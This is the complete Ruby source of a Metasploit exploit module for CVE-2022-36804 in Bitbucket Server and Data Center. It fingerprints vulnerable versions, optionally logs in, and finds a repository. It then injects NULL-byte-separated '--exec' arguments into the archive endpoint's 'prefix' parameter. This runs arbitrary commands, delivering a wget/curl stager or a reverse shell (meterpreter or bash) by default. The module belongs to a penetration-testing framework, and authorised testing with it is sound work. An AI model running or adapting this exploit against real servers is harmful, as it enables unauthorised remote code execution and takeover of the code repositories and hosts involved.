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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Bitbucket Git Command Injection',
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        'Description' => %q{
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          Various versions of Bitbucket Server and Data Center are vulnerable to
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          an unauthenticated command injection vulnerability in multiple API endpoints.
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          The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
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          creates an archive of the repository, leveraging the `git-archive` command to do so.
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          Supplying NULL bytes to the request enables the passing of additional arguments to the
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          command, ultimately enabling execution of arbitrary commands.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'TheGrandPew', # discovery
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          'Ron Bowes', # analysis and PoC
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          'Jang', # testanull - PoC
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          'Shelby Pace' # Metasploit module
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        ],
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        'References' => [
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          [ 'URL', 'https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/' ],
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          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
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          [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
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          [ 'CVE', '2022-36804' ]
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        ],
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        'Platform' => [ 'linux' ],
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        'Privileged' => false,
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        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
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        'Targets' => [
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Type' => :linux_dropper,
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              'Arch' => [ ARCH_X86, ARCH_X64 ],
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              'CmdStagerFlavor' => %w[wget curl bourne],
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              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
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            }
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          ],
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Type' => :unix_cmd,
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              'Arch' => ARCH_CMD,
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              'Payload' => { 'BadChars' => %(:/?#[]@) },
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              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
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            }
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          ]
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        ],
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        'DisclosureDate' => '2022-08-24',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [ CRASH_SAFE ],
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'SideEffects' => [ IOC_IN_LOGS ]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(7990),
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        OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
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        OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
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        OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'GET',
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      'keep_cookies' => true,
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      'uri' => normalize_uri(target_uri.path, 'login')
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    )
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    return CheckCode::Unknown('Failed to receive response from application') unless res
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    unless res.body.include?('Bitbucket')
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      return CheckCode::Safe('Target does not appear to be Bitbucket')
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    end
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    footer = res.get_html_document&.at('footer')
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    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
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    version_str = footer.at('span')&.children&.text
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    return CheckCode::Detected('Cannot find version string in footer') unless version_str
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    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
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    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1
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    version_str = matches[1]
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    vprint_status("Found Bitbucket version: #{matches[1]}")
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    num_vers = Rex::Version.new(version_str)
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    return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')
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    major, minor, revision = version_str.split('.')
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    case major
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    when '6'
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      return CheckCode::Appears
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    when '7'
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      case minor
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      when '6'
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        return CheckCode::Appears if revision.to_i < 17
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      when '17'
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        return CheckCode::Appears if revision.to_i < 10
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      when '21'
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        return CheckCode::Appears if revision.to_i < 4
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      end
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    when '8'
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      case minor
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      when '0', '1'
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        return CheckCode::Appears if revision.to_i < 3
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      when '2'
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        return CheckCode::Appears if revision.to_i < 2
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      when '3'
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        return CheckCode::Appears if revision.to_i < 1
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      end
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    end
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    CheckCode::Detected
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  end
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  def username
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    datastore['USERNAME']
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  end
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  def password
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    datastore['PASSWORD']
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  end
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  def authenticate
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    print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'login'),
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      'keep_cookies' => true
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    )
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    fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
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    res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
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      'keep_cookies' => true,
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      'vars_post' =>
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      {
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        'j_username' => username,
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        'j_password' => password,
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        'submit' => 'Log in'
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      }
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    )
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    fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'dashboard'),
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      'keep_cookies' => true
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    )
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    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res
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    unless res.body.include?('Your work') && res.body.include?('Projects')
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      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
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    end
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    @authenticated = true
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    print_good('Successfully logged into Bitbucket!')
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  end
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  def find_public_repo
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    print_status('Searching Bitbucket for publicly accessible repository')
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
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      'keep_cookies' => true
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    )
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    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
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    json_data = JSON.parse(res.body)
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    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
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    unless json_data['size'] > 0
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      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
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    end
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    # opt for public repos unless none exist.
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    # Attempt to use a private repo if so
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    repos = json_data['values']
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    possible_repos = repos.select { |repo| repo['public'] == true }
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    if possible_repos.empty? && @authenticated
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      possible_repos = repos.select { |repo| repo['public'] == false }
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    end
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    fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
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    possible_repos.each do |repo|
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      project = repo['project']
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      next unless project
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      @project = project['key']
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      @repo = repo['slug']
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      break if @project && @repo
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    end
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    fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
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    print_good("Found public repo '#{@repo}' in project '#{@project}'!")
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  end
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  def execute_command(cmd, _opts = {})
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    uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
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    send_request_cgi(
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      'method' => 'GET',
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      'uri' => uri,
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      'keep_cookies' => true,
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      'vars_get' =>
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      {
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        'format' => 'zip',
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        'path' => Rex::Text.rand_text_alpha(2..5),
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        'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
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      }
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    )
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  end
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  def exploit
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    @authenticated = false
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    authenticate unless username.blank? && password.blank?
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    find_public_repo
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    if target['Type'] == :linux_dropper
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      execute_cmdstager(linemax: 6000)
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    else
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      execute_command(payload.encoded)
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    end
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  end
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end
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